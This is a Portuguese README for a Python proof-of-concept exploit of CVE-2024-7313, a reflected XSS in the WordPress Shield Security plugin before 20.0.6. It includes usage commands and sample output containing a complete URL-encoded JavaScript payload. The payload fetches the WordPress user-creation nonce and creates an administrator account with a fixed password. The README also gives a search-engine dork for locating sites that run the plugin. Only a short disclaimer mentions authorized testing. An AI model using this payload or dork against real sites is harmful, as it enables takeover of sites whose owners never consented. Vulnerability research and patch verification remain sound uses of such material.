
Prova de Conceito Personalizada em XSS para Criação de Conta de Administrador Não Autorizada via Plugin do WordPress Shield Security < 20.0.6
Este repositório contém um script PoC em Python projetado para explorar uma vulnerabilidade de XSS refletido no plugin Shield Security para WordPress, afetando versões anteriores à 20.0.6. A vulnerabilidade (CVE-2024-7313) permite que um atacante crie um link malicioso personalizado para o alvo, que, quando clicado por um administrador, cria uma conta de administrador não autorizada via XSS. O script detecta automaticamente instalações vulneráveis e gera um payload para explorar a vulnerabilidade.
requests e beautifulsoup4Instale as bibliotecas necessárias usando:
pip install requests beautifulsoup4
git clone https://github.com/Wayne-Ker/CVE-2024-7313.git
cd CVE-2024-7313
python3 exploit.py <url_alvo>
Exemplo:
python3 exploit.py http://127.0.0.1
Após inserir os detalhes necessários para o novo usuário administrador (nome de usuário, email, primeiro nome, último nome), o script gerará uma URL do payload. Você pode colar esta URL no seu navegador para executar o ataque de XSS refletido, que criará um novo usuário administrador no site WordPress.
#############################################################################
# #
# #
# ______ _______ ____ ___ ____ _ _ _____ _____ _ _____ #
# / ___\ \ / | ____| |___ \ / _ |___ \| || | |___ |___ // |___ / #
# | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ / / |_ \| | |_ \ #
# | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ / ___) | |___) | #
# \____| \_/ |_____| |_____|\___|_____| |_| /_/ |____/|_|____/ #
# #
# Shield Security Plugin Vulnerability (CVE-2024-7313) #
# Reflected XSS in WordPress Shield Security Plugin #
# Versions Affected: < 20.0.6 #
# Risk: High #
# Developed by: Wayne-Kerr #
# Published: August 7, 2024 #
#############################################################################
A versão do Shield Security está vulnerável. Vamos continuar.
Digite o nome de usuário: nome_falso
Digite o email: [email protected]
Digite o primeiro nome: Haxor
Digite o último nome: teste
Usando senha fixa: HaxorStrongAFPassword123!!
URL do Payload XSS Gerada: http://127.0.0.1/wp-admin/admin.php?page=icwp-wpsf-plugin&nav=dashboard&nav_sub=%3Cscript%3Evar%20xhrNonce%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhrNonce.open%28%27GET%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhrNonce.onload%20%3D%20function%28%29%20%7B%20if%20%28xhrNonce.status%20%3D%3D%3D%20200%29%20%7B%20var%20nonce%20%3D%20xhrNonce.responseText.match%28/name%3D%22_wpnonce_create-user%22%20value%3D%22%28%5Ba-zA-Z0-9%5D%2B%29%22/%29%5B1%5D%3B%20var%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%20xhr.open%28%27POST%27%2C%20%27/wp-admin/user-new.php%27%2C%20true%29%3B%20xhr.setRequestHeader%28%27Content-Type%27%2C%20%27application/x-www-form-urlencoded%27%29%3B%20xhr.setRequestHeader%28%27Referer%27%2C%20%27http%3A//127.0.0.1/wp-admin/user-new.php%27%29%3B%20xhr.setRequestHeader%28%27Origin%27%2C%20%27http%3A//127.0.0.1%27%29%3B%20var%20params%20%3D%20%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%20%2B%20nonce%20%2B%20%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%26user_login%3Dnick%26email%3Dnick%2540test.com%26first_name%3Dnick%26last_name%3Dtest%26url%3Dtest%26pass1%3DHaxorStrongAFPassword123%2521%2521%26pass2%3DHaxorStrongAFPassword123%2521%2521%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B%20xhr.send%28params%29%3B%20xhr.onload%20%3D%20function%28%29%20%7B%20if%20%28xhr.status%20%3D%3D%20200%29%20%7B%20console.log%28%27Admin%20user%20created%20successfully%27%29%3B%20window.location.href%20%3D%20%27http%3A//127.0.0.1/wp-admin/admin.php%3Fpage%3Dicwp-wpsf-plugin%26nav%3Ddashboard%26nav_sub%3Doverview%27%3B%20%7D%20else%20%7B%20console.log%28%27Error%20occurred%3A%20%27%20%2B%20xhr.statusText%29%3B%20%7D%20%7D%3B%20%7D%20else%20%7B%20console.log%28%27Error%20fetching%20nonce%3A%20%27%20%2B%20xhrNonce.statusText%29%3B%20%7D%20%7D%3B%20xhrNonce.send%28%29%3B%3C/script%3E
Assim que você visitar a URL do payload XSS gerada, a exploração será executada e um novo usuário administrador será criado no site WordPress alvo.
Você pode acessar o menu de ajuda executando:
python3 exploit.py -h
Para identificar sites que estão usando o plugin vulnerável, você pode usar o seguinte dork:
inurl:"/wp-content/plugins/wp-simple-firewall/"
Isso ajudará você a encontrar sites que têm o plugin Shield Security instalado. Observe que o número da versão não é publicamente visível, portanto, pode ser necessário teste manual.
wp-login.php.Esta ferramenta é destinada apenas para fins educacionais e deve ser usada apenas em ambientes de teste de penetração autorizados. O acesso não autorizado ou o uso de sistemas que você não possui é ilegal. O autor não é responsável por qualquer uso indevido desta ferramenta.
Este projeto está licenciado sob a Licença MIT.